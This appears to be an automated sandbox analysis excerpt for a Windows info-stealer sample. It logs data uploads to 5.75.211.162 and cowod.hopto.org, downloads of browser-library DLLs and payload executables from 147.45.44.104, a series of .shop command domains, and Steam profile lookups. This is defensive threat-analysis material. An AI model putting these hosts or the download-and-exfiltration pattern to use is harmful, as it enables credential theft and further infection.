Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 7209Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 113477Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: performenj.shop
Source: global traffic HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 3229Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 3_2_00406963
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: yalubluseks.eu
Source: global traffic DNS traffic detected: DNS query: api.ipify.org
Source: global traffic DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic DNS traffic detected: DNS query: performenj.shop
Source: unknown HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001095000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1207369http://147.45.44.104/prog/66f4247d5181
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeG
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeI
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exerm-data;
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.EBKKFHIDAKEC
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.IDAKEC
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001146000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.orgKEC
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hoptoHIDAKEC
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
